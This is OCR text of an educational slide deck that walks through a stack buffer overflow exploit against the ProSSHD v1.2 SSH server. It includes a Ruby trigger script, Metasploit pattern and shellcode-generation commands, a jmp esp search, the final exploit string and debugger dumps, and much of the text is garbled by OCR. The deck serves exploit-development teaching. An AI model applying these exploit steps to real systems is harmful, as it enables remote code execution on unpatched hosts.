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Presentation Overview

SECURITY

4+ No Assembler know how needed
+ Based On:

+ Grey Hat Hacking, The Ethical Hacker's Handbook, Third Edition,
Chapter 15: Windows Exploits

+ http://www.mhprofessional.com/downloads/products/0071742557/007 1
742557 ch15.pdf

+ Presentation created as result of the individual Compass Research Week
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The Vulnerability e('
SECURITY

4+ ProSSHD v1.2 ©Oct 2009)
4+ Standard Buffer Overflow
4+ Overwrite stored EIP on stack

+ Trigger: long remote filename (~500 bytes)
+$ scp <remotefile> <localfile>
+$ scp <Ax500> whatever.txt




The Vulnerability — Test Script

SECURITY

&‘ C:\Documents and Settings’ hackerDesktop’sshd'test.rb - Motepad ++

File Edit 3Search ‘iew Encoding Language Settings Macro Run Plugins  Window  # b
| s SRR 5 BI&mD(oe ([t + s BIIS1[EDEHICE DB E|P
B prosshdl b Ed =] testib Bl

1
2
3
4
2
6
7
g

9
10
11
12
13
14
15
16

twirubygems net/ssh net/scpl.each { |x| require x }

username = 'hacker'
password = 'hacker'
host = "192.168.104.33"7
port = -

get request = "AalAzalARalAadAadAadhaochalAabAavhblAblAbZADLSADAAD DAL

puts "--[ connecting"”

CONet::S3SH.start( host, username, :password =»> password) dol|sshl|
puts "--[ Connected... sleeping for 15"
sleep (12)
puts "-—-[ Download!™

ssh.scp.download! ( get request, "[oo.Lzl™)
end
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The Vulnerability — Test Script

SECURITY

&‘ C:\Documents and Settings’ hackerDesktop’sshd'test.rb - Motepad ++

File Edit 3Search ‘iew Encoding Language Settings Macro Run Plugins  Window  # b
| s SRR 5 BI&mD(oe ([t + s BIIS1[EDEHICE DB E|P
B prosshdl b Ed =] testib Bl

1
2
3
4
2
6
7
g

9
10
11
12
13
14
15
16

twirubygems net/ssh net/scpl.each { |x| require x }

username = 'hacker'
password = 'hacker'
host = "192.168.104.33"7
port = -

get request = "AalAzalARalAadAadAadhaochalAabAavhblAblAbZADLSADAAD DAL

puts "--[ connecting"”

CONet::S3SH.start( host, username, :password =»> password) dol|sshl|
puts "--[ Connected... sleeping for 15"
sleep (12)
puts " | Downloadlﬂ

ssh.scp.download! { get request,| "foo. Lzl

end
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Payload — How to create pattern?

COPMPASS

Create Pattern:

C:smetasploitsappsspro~mnsfIstools>ruby pattern_create.rh 58A

AaBRalfaZRaldfadfabAabAa?AaBAa?AbBADIADZALIARIARSADEADYADEHADYAcHAc1Ac2Ac3AcdAcSAC
GAcTAcBAcTAdBAd1IAdZAdIAd4AdSAdGAATAdBAd?AeBAelAcZAe3AedfeSAebfeAeBAeTAFBAF1AT 2A
FIAFAALSATGRE AL BALF?AgBAg1 Ag2Ag3AgdAgSAgbAgAgBAg?AhBAh1IAKZAhIAh4AKSAKGAK?AKEAKY
AiBAL1AiZAiIAi4AiSAIGA1L7AABAL?AGOAJ1IA2AF3IAJEAAFSAJEAFAIBAFJPAKBAKIAKZAKIAKEIAKEAK

6AKAKEAK?AIBA1I1A1ZA1IIATI4A1ISAIGA1IAIBALI?AMBAMIANZANIAMEAMSAMEAN?ANBAN?ANBAN1AN2ZA
N3ANAANSANGAN7ANBAN?AoBAoc1Ao2AoIAodAoS5Ao6RoYAoBRoTApAAplAp2Ap3ApdApSApbApPApBApY?
AgBAgl Ag2Ag3AgdAgSAg

C:smetasploitsappssprosmsfi~tools>

get request =



Exploit Payload S
SECURITY

Trigger:

Aa®AalAa2Aa3AadAa5AabAa7Aa8Aa9AbOAbl1Ab2Ab3Ab4AD
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#. Immunity Debugger - wsshd.exe
ImmLib

2:531 Access violation

Result of Trigger Payload

Help 3
kbzr

[FFLI

l emtwhc?P

g Senvices Manager

CG

PASS

SECURITY

X

+shen executing [714134711 use Shift+F7-F8-F? to pass exception

~| Registers (FPU)

(NO,NB,NE,A,NS,PO,GE,G)

.KiFastSystemCallRet
“5ag”

132.CreatePipe

B(FFFFFFFF)
O{FFFFFFFF)
O(FFFFFFFF)
B(FFFFFFFF)
7FFDEDBOB{FFF)

_SUCCESS (006000000)

1 E
02090 - El L - =L EAX 00808624
1 Zha0 stac ECX 0012ED4Y4
ERx Baaaahz4d
EBX 00808678
ECH @@1ZED44
o . EBP BB812F3DC
ESI 7C81DF37 kerne
EDF vCPEES14 ntdll.KiFastSystemCal LlRet
: EEBx BEBBELYC g
5 wsshd FE t T
LSty o B ECP BR1ZEFCA ASCII SAQT FE oo st
weshd data datz A A 55 0823 32hit
az EEF B@1ZF30C ¢ ok
. : T
awpdlLid| .vent  [code
=g & ESI YCEIDOFSY kernel3z2.CreateFipe b 5
LR EDT @e12F30s ' e
't
Nsetup |.text |code EFL 80016202
oo same [ B |3
HeEtup idata | impc STO empty
vk SIEIP Y1412471 ST1 empty
{ - BE b 312 Eﬂlpty
4 PiPEres| .rsrc  |data, resour: Inag T | ST3 empty
1 stack of th] Prlz Rl Ga:: STH Eﬂlpty
{ K of thib iw ;;"‘ gua: ST5 Eﬂlpty
i ek et P::; el EE: L ST6 enpty
1 stack of thiPriv| R Gual Address |Hex dunp v812erce BETIENEED
0O44C008 B0 00 60 08 7C 94 43 9012EFCA  0608067C
- 0AMACARR 18 AR 43 BB BO 60 0A B012EFCE  BO4SGBEQ
AddressHiltessagel . 8644CA16 80 B8 66 08 B8 80 08 BE12EFCC  BADH1058
Need support? visit http://forum_ immunityinc.con/ 9O4L4LCH18 00 00 00 00 00 00 08 09 ... ... B612EFDA  BB3F70D0
File 'C:\Program Files\Lab-HC\ProSSHD\wsshd.exe' BA4LCH26 73 B A8 BA B8 BS 43 88 s...HuC. BO12EFDY 65724661
[16:22:43] Neu process with ID BBOBEBYC created BBLLCE28 6D 6B 6C 4C 41 42 Sk 61 mKILABTa BO12EFDE  20646D63
Hain thread with 1D BBAAESF8 created POLLCEIE 4D BO12EFDC  2F2B412F
7C810729 New thread with ID B0BEODAG created AALLCA3S B8 0G12EFE  432F2051
7C810729 New thread with ID BOBAO6C created PBBLCELE 32 0012EFE4 70637320
7C810729 Mew thread with ID BBAABEDE created ABLLCBLE §F BO12EFES 20662020
7C810729 New thread with ID 80880798 created BBLLCESE B0 BO12EFEC 41386141
7C952BEC Mew thread with ID BODAOGFE created PeuLCESE 10 0012EFFB 61413161
06480868 Modules C:\Program Files\Lab-HG\ProSSHD\wsshd.exe BBLLCE6H 65 BO12EFFY 33614132
CRC changed, discarding .udd data BBLLCEGE B0 BO12EFFE 41386141
86640088 | Hodules C:\Program Files\lab-MC\ProSSHD\xupdllid.d11 QOLLEETE B0 BO12EFFC 61413561
00670868 Hodules C:\Program Files\lLab-NC\ProSSHD\xsetup.dll B04LCA78 B8 Be12FB00 37614136
00730008 Hodules C:\WINDOWS\system32\xpsp2res.dll @e44CESE 60 BO12FB04 41386141
8680208688 Hodules C:\Program Files\lLab-MNGC\ProSSHD\xupusock.d1ll 9044CE88 08 B012FBO8 62413961
180680860 Hodules C:\Program Files\Lab-NC\ProSSHD\LIBEAY3Z.d11 9BLLCE08 B8O 0812FEOC 31624130
SES60000 Hodules C:\WINDOWS\system3Z\NETAPIZ2.d11 9BuLCE98 B0 0012FE18 41326241
66280860 Hodules C:\WINDOWS\system32\hnetcfg.dll AOLLCANS B8 0012FE14 62413362
680680860 Hodules C:\WINDOWS\system32\rsaenh.dll BBLLCEAS B0 BO12FE1E 35624134
71A50800 Hodules C:\WINDOWS\system3z\msusock.d1l 0BLLCEEE 44 0012FA1C 41366241
7190860 Hodules C:\WINDOWS\System32\wshtcpip.dll ABLLCABS B8 0612F628 62413762
71AAGBOE Hodules C:\WINDOWS\system32\WSZHELP.d1l penLCecE 80 0012FE24 39624138
71ABABOA Hodules C:\WINDOWS\system32\Ws2_32.d11 QOLLCBCE B0 0012FA28 41306341
71ADOBBR Hodules C:\WINDOWS\system32\WSOCK32.d1l ABLLCADS B8 B812FE2C 63413163
75080000 Hodules C:\WINDOWS\system32\RESUTILS.DLL 9BLLCEDE B0 0012F038 33634132
750F 0860 Hodules C:\WINDOWS\system32\HTXCLU.DLL ABLLCEED 66 0012FA34 41346341
75130860 Hodules C:\WINDOWS\system32\colbact.DLL BBLLCBER 64 0O12FE38 63413563
76390000 Hodules C:\WINDOWS\system32\IMH32 .DLL 0O12F B3C_ 37634136

SAq.
L]
ahE .
Pail.
op?.
aFre
cnd
i/
0 /c
scp
-f
AabA
alna
2hald
GEL:
a5Aa
iLEYS
AasA
EL
8Ab1
Ab2A
b3hb
4AbS
AbGA
b7Ab
8AbY
AcBn
c1Ac
2Ac3
Acki
c5AC
GACT

wsshd . BBLS68E B
ASCII "scp —-f AaBAa1AaZAa3nalfabAa6Aa‘7AaBRa?h

Paused



Trigger Payload - Analysis e‘ SS

SECURITY

Check offset:

CismetasploitsappssprosmsfIistoolsiruby pattern_offset.rbh V1413471
[#] Exact match at offszet 493

C:smetasploitsappssprosmsf3Istools >




Exploit Payload e‘ SS

SECURITY

Trigger:

Aa®AalAa2Aa3AadAa5AabAa7Aa8Aa9AbOAbl1Ab2Ab3Ab4AD

Analyze:
AaeAa1Aa2A [BBAEY 4Aa5Aa6Aa7Aa8Aa9AbOAb1AD2Ab3ADA

|

Stored EIP @ location 492

l_'

b



SECURITY

Exploit Payload e‘ SS

Trigger:
AaPAalAa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9AboOAb1Ab2Ab3Ab4AD

Analyze:
Aa@AalAa ZAF 4Aa5Aa6Aa7Aa8Aa9AbOAb1Ab2Ab3AbA

. .sBP
Verification

AAAAAAAAAA [ BBBB | CCCCCCCCCCCCCLCCLcLccccceccccccccc

payload[492]




Payload —Verification G‘ ASS

SECURITY

New exploit string:

get request = - + - + -
Result:
Registers (FPU) < < < < 4

H08889EY
d888DED A
aga08a84a/7

A888867C
B812EFCA ASCII "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCOCC

A812F3DC
FCB1DF37 kernel32_CreatePipe
d812F3D8

L2R24207




Exploit Payload e‘ SS
Trigger:
AaPAalAa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9AboOAb1Ab2Ab3Ab4AD

SECURITY

Analyze:
Aa@AalAa ZAF 4Aa5Aa6Aa7Aa8Aa9AbOAb1Ab2Ab3AbA

. .sBP
Verification

AAAAAAAAAA [ BBBB | CCCCCCCCCCCCCLCCLcLccccceccccccccc

7 M

A
/ -

:



Payload —Verification G‘ ASS

SECURITY

New exploit string:

get request = - + - + -
Result:
Registers (FPU) < < < < 4

H08889EY
d888DED A
aga08a84a/7

A888867C
BO12EFCA ASCII "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCOOCE

A812F3DC
FCB1DF37 kernel32_CreatePipe
d812F3D8

L2R24207




Exploit Payload e‘ SS

SECURITY

Trigger:
AaPAalAa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9AboOAb1Ab2Ab3Ab4AD

Analyze:
Aa@AalAa ZAF 4Aa5Aa6Aa7Aa8Aa9AbOAb1Ab2Ab3AbA

. .sBP
Verification

AAAAAAAAAA [ BBBB | CCCCCCCCCCCCCLCCLcLccccceccccccccc

ESP




Quick Recap G‘Wss
SECURITY

Have:
+ Overwrite EIP with arbitrary data
+ESP pointing to user-submitted data

Need:

+mp %esp instruction in memory
+shellcode
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Log data
Address

BBADF B AD
BBADF BAD
7C91FCDE
F1A?1CEE
FC286FEF
FC2873F32
FC2878F7
FC2879EF
FC2087BF3
FC2B85SEF
FC2893EF
FC20A2F 3
FC28RGEF
FC20BEBF 3
fC28BCF3
FC211EEF
FC213F37
FC216AC3
fC216B5E
FC216C63
FIG2uD1B
FISSOCSF
BBADF BAD
8BADF BAD
BBADF BAD
8BADF BAD

Find JMP %ESP

Need «jmp %esp»? Mona helps!

Hessage
- Mumber of pointers of type
[+] BRpcults -

Bx7c91fcd8
OET Id? ICB0
Bxfc2Bofef
Bx7c2073F3
Bx7c2O78F7
Bxic2079%ef
Bx7c207bf3
Bx7ic2085ef
Bx7c2093ef
Bx7c20az2f3
Bx7c2Badef
Bx7c20b8F3
Bx7c2Bbcf3
Bx7c211eef
Bx7c213F37
Bx¥c216ac3
Bx7c216b5b
Bx7c216c6G3
Bx77524d1b
Bx77S09chF

jm
Jmp
jnp
jmp
jmp
jmp
jmp
jmp
jmp
jmp
jmp
jmp
jmp
jmp
imp
jmp
imp
jmp
imp
jmp

esp
L 1)
esp
esp
esp
esp
esp
esp
esp
esp
esp
esp
esp
esp
esp
esp
esp
esp
esp
esp

{PAGE_EXECUTE_READ}
{FHGE_EAECOTE_REAL
{PAGE_EXECUTE_READ }
{PAGE_EXECUTE_READ }
{PAGE_EXECUTE_READ }
{PAGE_EXECUTE_READ}
{PAGE_EXECUTE_READ }
{PAGE_EXECUTE_READ}
{PAGE_EXECUTE_READ }
{PAGE_EXECUTE_READ}
{PAGE_EXECUTE_READ }
{PAGE_EXECUTE_READ}
{PAGE_EXECUTE_READ }
{PAGE_EXECUTE_READ}

'hush ESh # ret BxB4" -

lub"LLplp Ullj HSLR=S rdle, RETdSEs rdle, SOTESENT

[HFC71.DLL]
[MFC71.DLL]
[MFC71.DLL]
[MFC71.DLL]
[HFC71.DLL]
[MFC71.DLL]
[HFC71.DLL]
[MFC71.DLL]
[HFC71.DLL]
[MFC71.DLL]
[HFC71.DLL]
[MFC71.DLL]

ASLR:
ASLR:
ASLR:
ASLR:
ASLR:
ASLR:
ASLR:
ASLR:
ASLR:
ASLR:
ASLR:
ASLR:

False,
False,
False,
False,
False,
False,
False,
False,
False,
False,
False,
False,

Rebase:
Rebase:
Rebase:
Rebase:
Rebase:
Rebase:
Rebase:
Rebase:
Rebase:
Rebase:
Rebase:
Rebase:

False,
False,
False,
False,
False,
False,
False,
False,
False,
False,
False,
False,

C

SafeSEH:

SafeSEH:
SafeSEH:
SafeSEH:
SafeSEH:
SafeSEH:
SafeSEH:
SafeSEH:
SafeSEH:
SafeSEH:
SafeSEH:
SafeSEH:

asciiprint,ascii {PAGE_EXECUTE_READ} [MFC71.DLL] ASLR: False, Rebase:
{PAGE_EXECUTE_READ} [WFC71.DLL] ASLR: False,
asciiprint,ascii {PAGE_EXECUTE_READ} [MFC71.DLL] ASLR: False, Rebase:

asciiprint,ascii {PAGE_EXECUTE_READ} [MFC71.DLL] ASLR: False,

Rebase:

False,

SafeSEH:

Rebase:

asciiprint,ascii {PAGE_EXECUTE_READ} [ole22.d11] ASLR: False, Rebase:
{PAGE_EXECUTE_READ} [0le3?.d11] ASLR: False, Rebase: False, SafeSEH:

[+#] This mona.py action took B:88:15.797808

--- Please wait while I'm processing all remaining results and writing everything to file...
[+] Done. Only the first 28 pointers are shown here. For more pointers, open jmp.txt...

True, 05:
True, DS:
True, 05:
True, DS:
True, 05:
True, DS:
True, 05:
True, DS:
True, 05:
True, DS:
True, 05:
True, DS:

IFUE, o5

ASS

SECURITY

|rue, U:.I é
False,
False,
False,
False,
False,
False,
False,
False,
False,
False,
False,
False,

u7.18.36

u7.18.36

u7.18.36

u7.18.36

False, SafeSEH: True, 05:

True, 05:

False, u7_18_30

False, SafeSEH: True, 05:

False,

SafeSEH: True,

0s:

False, SafeSEH: True, 05:

True, 05:

True, uw5._ 1.26080

'munaj—resp—n




Generate shellcode

msfpayload:

+ Payload: execute calc.exe

+ Output as R (ruby, for compatibility with msfencode)
msfencode:

+ No «bad» chars
+ Output as «ruby» (for use in ruby based exploit)

C¢

ASS

SECURITY

C:wmetasploitsappssprosmsf3>ruby mesfpayload windowssexec EXITFUNC=THREAD cmd="'ca

lc.exe R | ruby msfencode —-b *sxB8~xBasx28°' —t ruby

[#] x8Bb.shikata_ga_nai succeeded with size 227 (iteration=1>

buf =

"oxoddsoxoe bSood PPN 2 4o Aoadhas b8 s e bhoaadd sl bsxebsx2bhsxc? !
"oxcbhl s Fsx I L saxed 25l N8 I 25BN B3 B P e s E P Fe s 1LY
ol PP oo BB soxodas e P oacdB e e s xe b 352 e s b 5 x5 P xBa
"2 A2 baaxS 25 x6 1 s xb Bhood F voaced s S xab s ood B oed 2 s xad NP 3 od £
"o I3 sl o saxchI s P BN A5 e B e e Siood P B2 ol e T
"ol esaxYe saod 2 s axchSsoaof Pk Shocd] soc2 a3 oacdbsah asaxed S 3B
"oace 2503 Isoed bkl 6P S B PN od P b o B PN e B 5N P 2N P a2 el
"oal25a P e Bl 1 sk Pe s 36k B d s e 25 e Ao P oed P o3 bk E 4w F 8 Y
oA P B b3 b2 asxe 85 xBe s f L soad S P F A xb b S xB2 S xb s x28 "
"“oache s P s axbh P a2 dsa2 1 50d P I e s BB 1 socd B o P 1 5 4B 41 Sod 6
"oxhesxBb s xBdsxof asxblsxe by 255 xB6 s xe P xeas e PN xBF \xaPs\xcB"
a2 dsaxod s xb as PSP S bhBrood d s B A xb P ol e saxeB 1 s x2 b e 3 xBe
"“oodbsaxdasxaesxeds w2 s xodesoaoddsoxal sx2asxe @Bsod bS8 1 g2 500d1 !
"oahdsaxde syl dsxeesxbh s bhoadf asoaBe syl 250031 s P 3Nk B B e f e 8
"ok e s a2 252 e s8N a? oo Psacc e s xof osochl socad s oo bhach 25075
o dsoaxcal saod 25 xl Isxb L sl 6xood 25003 N2 oo Pioed B oed P xe b e 't
"o BN BNk 4

R E R R R EE "




Test Shellcode

COPMPASS

#include <stdio.h>
char code[] = "\xbb\xa@\xc9\xa5 ... ";

int main(int argc, char **argv)

{
char x[500];
int (*func)();
func = (int (*)()) code;
(int) (*func)();
}
topssshd>gee shellcodetestZ.c
iielp -ophsshd>a
Bl o phsshd
G C C@W l N : ’_ Backzpace
M MC
www.mingw.org

A




Exploit in Ruby

SECURITY
buf =
"hwhhhxalhxefhwad ka7 hvgdahveed Pt aed O T4 B4\ R Ed W kDB W E BB +
""l.llq_-'l.-\.'l T e B B R B B e e e A W e B WY [ ROT —S S IR o e B ST = [ R S . I L L L e +
rr".,'I +
Ff"llll +
rr".lll ] R +
. Exploit: '
", + 492 Filler bytes to reach saved EIP +
:: + 0x7c91fcd8 in little endian (address of «jmp N
" o : : +
. Joesp» instruction) .
ey, + Generous amounts of nops +
" + Shellcode ¥
rr".,'I +
Ff"llll +
MO F AL MU LA NC LA e LA L v al v b Y L S a Mo Ly Nho v oL v+
"had Shgoohmehhe Pk eh ka3 hgeh v ghhhxodh e2 W T xE T B ehxB1LT +
"0 T a2 ed D
get regquest = "hwxdl™ * 492 + "adBh\pfohxSlixVe”™ + "Myvx90" * 504 + buf
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A\
ks

Exploit Payload e‘ SS
Trigger:

SECURITY

Aa®AalAa2Aa3AadAa5AabAa7Aa8Aa9AbOAbl1Ab2Ab3Ab4AD

Analyze:

Aa@AalAa ZAF 4Aa5Aa6Aa7Aa8Aa9AbOAb1Ab2Ab3AbA

. .sBP
Verification:

AAAAAAAAAA [ BBBB | CCCCCCCCCCCCCLCCLcLccccceccccccccc

ESP

Exploit:

AAAAAAAAAA | &IMP | <nopnopnop shellcode shellcode>




Exploit — Before overflow

AAAAAAAAAA

&IMP | <nopnopnop shellcode shellcode>

Code

jmp %esp

Stack

[Filename]
&caller
[ Stuff..]
[ Stuff..]
[ Stuff..]
[ Stuff..]

© Compass Security AG

www.csnc.ch

El P (copy filename)

— Stored EIP (caller)
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Exploit — After overflow / Before ret

SECURITY

AAAAAAAAAA | &IMP | <nopnopnop shellcode shellcode>
jmp %esp
ElP (copy filename)
asaanraaaa | —— Stored EIP (caller)
----------------- &JIMP <
<nopnopnhop> | < ESP
<nopnopnop>
<shellcode>
<shellcode>

© Compass Security AG www.csnc.ch Slide 23



Exploit — after ret

SECURITY

AAAAAAAAAA | &IMP | <nopnopnop shellcode shellcode>

jmp %esp E'P

AAAAAAAAAAA
&JMP

<nopnopnhop>
<nopnopnop>
<shellcode>
<shellcode>

N

ESP

© Compass Security AG www.csnc.ch Slide 24



Exploit — After Ret, After jmp %esp

SECURITY

AAAAAAAAAA | &IMP | <nopnopnop shellcode shellcode>

jmp %esp

AAAAAAAAAAA
&JMP

<nopnopnhop>
<nopnopnop>
<shellcode>
<shellcode>

N

ESP, EIP
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Exploit — After NOP’s

SECURITY

AAAAAAAAAA | &IMP | <nopnopnop

shellcode shellcode>

jmp %esp

AAAAAAAAAAA
&JIMP

N

<nhopnopnop>
<nopnopnop>

ESP
EIP

N

<shellcode>
<shellcode>

© Compass Security AG www.csnc.ch
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Stack - before overflow

PASS

SECURITY

C¢

B812EF98
HE12EF 24
B012EF 98
HO12EF2C
BO12EFAB
BO12EFAL
H812EFAB
B812EFAC
HO12EFESH
B012EFBL
HO12EFEB
B812EFEBC
B812EFCH
HE12EFCh
B012EFCE
HO12EFCC
86812EFDB
BO12EFD4
H812EFDB
B812EFDC
HO12EFESD
B012EFEL
HO12EFEB
HO12EFEC

HB888FFFF
FFFDDBAEA
B0243678
d0g808808
FIFE118Y
H8Z2EBB2C
00243688
B812F B7C
F/FEBBAOA
OFaaoBan
H012EFDB
012EFDB
(STSTEpspERsLes)
H88809FC
80242308
F/FE2188
f3u486088
65724661
F4655265
L2GEF275
65666675
F7DFBRs2
H0880688
8881F B854

bl
X635 .

Elpuw
6% .
| ol.
- -pw
-..-0
PIln.
Pin.
...
THS .
H!puw
-.L5
aFre
eRet
urnB
uffe
F.hu
in..
Tol.

Filler

Stored EIP

Shellcode



Stack - after overflow test

AB12EF 90
AB12EF 94
A812EF98
B812EF9C
AB12EFAB
BB12EF AL
B812EFAS
AB12EFAC
A812EFBQ
A812EFBL
BO12EFES
AB12EFBC
AB12EFCH
AB12EFCh
BO12EFCE
AB12EFCC
A812EFDA
BO12EFD4
A812EFD8
A812EFDC
A812EFED
BO12EFEL
A812EFES
A812EFEC
8P12EFER

M1y
14141481
14141
M1y
M1y
14141481
1411
M1y
14141481
14141
LA LRS!
2424242
43434343
43434343
43434343
43434343
43434343
43434343
43434343
43434343
43434343
43434343
43434343
43434343

IhAnha, reel,

AAAA
AAAA
AAAA
AARAA
AAAA
AAAA
AAAA
AAAA
AAAA
AAAA
AAAA
BEBBB
(HHHE
(HHHE
(HHHE
(HHHE
(HHHE
(HHHE
(HHHE
(HHHE
(HHHE
(HHHE
(HHHE
(HHHE

C¢

Filler

Stored EIP

Shellcode

PASS

SECURITY




£,

Stack — Filler, sEIP, NOPs G_‘ ASS

SECURITY

&(jmp %esp @ ntdll): ©x7c91fcd8

Address |Hex dump ASCII CPU - main thread

A812EF31 AAAAAARAA

AB12EF39 ARAAAARAA B812EFAF INC ECX

8012EF 41 ARAAAAARA B812EFBA INC ECX

BA1Z2EF 40 ARAAAAAR BB12EFBA1 IMC ECX

AB12EF51 AAAAAAAA A812EFB2 IHNC ECX

B812EF59 AAAAAAAA AA12EFEB3 IHNC ECX

A812EF61 ARAAAARAA ]

BB12EF69 ARAAAARA gglgEEg; i:g EE:

AB12EF71 AAAAAARAA f

B012EF79 ARAAAAARA B812EFB6 INC ECH

BA12EF81 AAAAAAAA B81ZEFBT IHC ECX

AB12EF89 ARAAAARAA 8812EFBEE IMNC ECX

B812EF21 AAARAAAAA BB12EFB9 IMC ECX

AB12EF99 ARAAAARAA ,

A812EFn1 ARAAAARAA B012ZEFERA IHC ECX
B812EFEB IHC ECX
BA12EFBC FDIUR 5T,.5T{4)
BE12EFBE HCHG EAX,.ECH

8812EFBF ~ SHORT BO1Z2EF8D

A812EFCH HOP

BA12EFC?2 HOP

BA12EFC3 HOP

BA1Z2EFCY HOP

8012EFCS HOP

BA12EFCH HOP

BA12EFCT HOP

BA12EFCH HOP

BA12EFCY

A812EFAD AAAARAAARA

BE12EFB1 T AARAAAAR
BE12EFBD ' aAAAi < | 1
BE12EFCA :

BA12EFCD

BE12EFD1

BE12EFDY

BE12EFE1 INNNERER
8812EFED ENRENEER
BE12EFF1

BA12EFFD?

aE12Fam

B812Faa9

aE12r a1

BE12Fe19 INNNERER




Stack — NOPs,

Address

BE12F151
B012F159
BE12F161
BE12F169
BE12F171
BE12F179
ae12F181
BE12F189
aE12F1M
8@12F199
ae12F1a1
BE12F1A9
Be12F181
8812F1B92
8812F1CA1
BE12F1CO
ae12F1D1
8E12F1D9
BE12F1E1
BE12F1ED
BE12F1F1
BE12F1F2
8812F281
8E12F209
aE12F211
BE12F219
BE12F221
BE12F229
BE12F231
BE12F239

Hex dump

Shellcode

EEREEEER
ENREEEER
» E¥§ﬂﬂﬂ
t$0X)E3
1XmNGiiNa
CGREZEED
AQENRECR
sHATIES
omAfk; @
1! an’
dokuiinge
Uf=3"0 4
pOE%E-20
LB QnlpI
B{DhERHH
frxzE¥ENR
0] =Hrol
i1 ] 5 | by
LIS LI

CPU - main thread

BE12F1AD
B812F1AE
BE12F1AF
HE12F1B@
Be12F1B1
Be12F1B2
BE12F1B3
BE12F1BY
BE12F1BS
BE12F1BG
BE12F1BY
HE12F1B8
HE12F1B9
B812F1BE
BE12F1CA
BE12F1CY
BE12F1CE
BE12F1CY
BE12F1C?
HE12F1CC
HE12F1CF
Be12F1D1
BE12F1D8
BE12F1D9
BE12F1DD

98
98
98
98
98
98
98
o8
98
98
98
98

BE AUCYASAT

DADD

Do7L2Y Fu

1

29C9

B1 33
3158 12
83E8 FC
H3F8

HOP
HOP
HOP
HOP
HOP
HOP
HOP
HOP
HOP
HOP
HOP
HOP
MOy

ASS

SECURITY

c¢

EBX ,A7ASCOARA

FCHOUD ST,3T(1)
FSTEHU

FOP
sue
Moy
XOR
sup
ADD

C747 52 B43FBE9] HOU

Fa

cas1 17 11

F1

SAL

EAX

ECX,EC¥

CL,33

DWORD PTR DS:[EAX+12],EBX
EAX,-4

EDI,EAN

DWORD PTR DS:[EDI+52],9DBE3IF B4

BYTE PTR D3:[ECK+17],11




<

Result

C:~Documents |_l"

o [ = e "o = ]| &

|=] prosshdl.ib E3

5
2
o
ot
I
i

buf =

twirubygens net/ssh net/ggpl.each { |x| reguire x }

#r Bl xodhx3 e i nEihwEE" +

| Calculator

AT

View Edit Help

sh/transport/session.rb:167:in *loo)
from C:/metasploit ruby-slih.
sh/transport/session.rb:167:in “pol]
from C:/metasploit ruby-/lih.
sh/connections/session.rh:454:in “dis
from C:/metasploit ruby-slih.
shsconnectionssession.rh:216:in “pre
from C:/metasploit ruby-slih.
s=h-connectionssession.rbh:2808:1in "pr
from C:/metasploit-rubyslih,
sh/connection/session.rb:164:in ‘bl
from C:/metasploit-rubyslih,
sh/connection/session.rb:164:in " loc
from C:/metasploit ruby-/lih.
sh/connections/session.rh:164:in *log
from C:/metasploit ruby-/lih.
sh/connectionschannel.rh:26%:in “wa:
GC:/metasploit/ruby-lih.
*douwnloadt’ -
prosshdl.rh:48:in *bhlock in <{main>’

“start’
prosshdl.rh:44:in “<main2>’

and SettingsshackersDesktopssshdirub

-2.6.8-1lib/net s
-2.6.8-1lib/net s
-2.6.8-1ib/net s
-2.6.8-1ib/net s
—2.6.8/1lib/net s
—2.6.8/1lib/net-s
-2.6.8-1lib/net s
-2.6.8-1lib/net.s
f—1.1.2/1ih/net/s

GC:r/metasploit rubyslib ruby/gems-1 .2 .1/gems net—ssh-2_.6_.8-1lib/net /s

rosshdl.rh

[F— username = "hacker”
] password = Thacker’

1 host = "192.168.104.337
6AkPALBALIA port =

n3An4An5An6A

+ o+ o+ o+

n. Settings {60 minutes evaluation license...) X\P.ini
File Help #About Close

Run
ZomSetup Awp3SHD service
HiwpSSHD service Service name:  XWP SSH
| rinstall |
Properties:
Skartup bype: anual 4
Service staktus: Started
| s | |
Refresh
Trace Lewvel |
u] 9
i




XP 2003 Vista Vista 2008

SP2, SP3 SP1, SP2 SPO SP1 SPO

GS

stack cookies yes yes yes yes yes

variable recrdering yes yes yes ves ves

#pragma strict_gs_check no no no yes ! yes !
SafeSEH

SEH handler validation yes yes yes ves ves

SEH chain validation no no no yes 2 yes
Heap protection

safe unlinking yes yes yes yes yes

safe lookaside lists no no yes ves yes

heap metadata cookies yes yes yes ves yes

heap metadata encryption no no ves yes yes
DEP

NX support ves yes ves yes yes

permanent DEP hno no hno yes yes

OptOut mode by default no yes no no yes
ASLR

PEB, TEB yes yes yes ves yes

heap no no yes yes yes

stack no no yes yes yes

images no no yes yes yes

by Alexander Sotirov and Mark Dowd.
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Windows Protection Mechanisms

SECURITY

cl.exe /GS  Stack Canary Protection

Y

© Compass Security AG www.csnc.ch Slide 33




Problems

SECURITY

+ Installing XP takes a long time (200+ patches for SP3)
Getting metasploit/ruby to work in windows is not trivial
+ Shellcode was corrupted — all non printable chars escaped with backslash

+

+ Reversed source of problem:
+ Ruby net/scp has been patched to escape invalid chars
+ Comment-out Ruby net/scp escaping
+ Exploit was working, but calc.exe did not show up
+ Because started as SYSTEM?
+ Need to restart debugger upon every wsshd.exe crash
+ taskkill /F /FI "IMAGENAME eq wsshd.exe«
+ Using windows is a pain...
+ # pkill wsshd.exe
+ No ruby, no python, no bash autocomplete, no ¢ compiler, no vi...
+ No apt-get...
+ Mingw helps L -

Shorkcuk ko zshd Shorkcuk ko procexp Irnrnarity
x56 kaools Debugoger

6’ % § . . — W_] E

2 7] E 2] 2] |
MinSW Shell  CMD Exploit CMD MSF M3F3 Motepad++  S5HD Settings
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Check ASLR Status
.EE'Prucess Explorer - Sysinternals: ww -

SS

SECURITY

F"?_ ODEI-DHS 5 P?IESS Fe) Ly TCP/IP I Securiky I Environment I Skrings |
J IH | Iﬁ | 5 @ g | Iﬁ A Image | Performance I Performance Graph I Threads 8 J —
Frocess I il
o by eve mage Hie U193
o by.exe . wwipsetts Application UI1.9.3
M ruby. exe 193
m wntoolsd. exe version: L0001 e Service
% ”TE“"‘"E”E Build Time: Fri Feb 24 13:54:41 20120 L
alg.exe 5 ateway
Path:
[ dlhost exe 2
df% il e I Z:\Program FilesiLab-MCWProssHDowpsetts, exe Explare | brogranm
[ PFFontCache_+w0400.¢ Cammand line: 100, exe
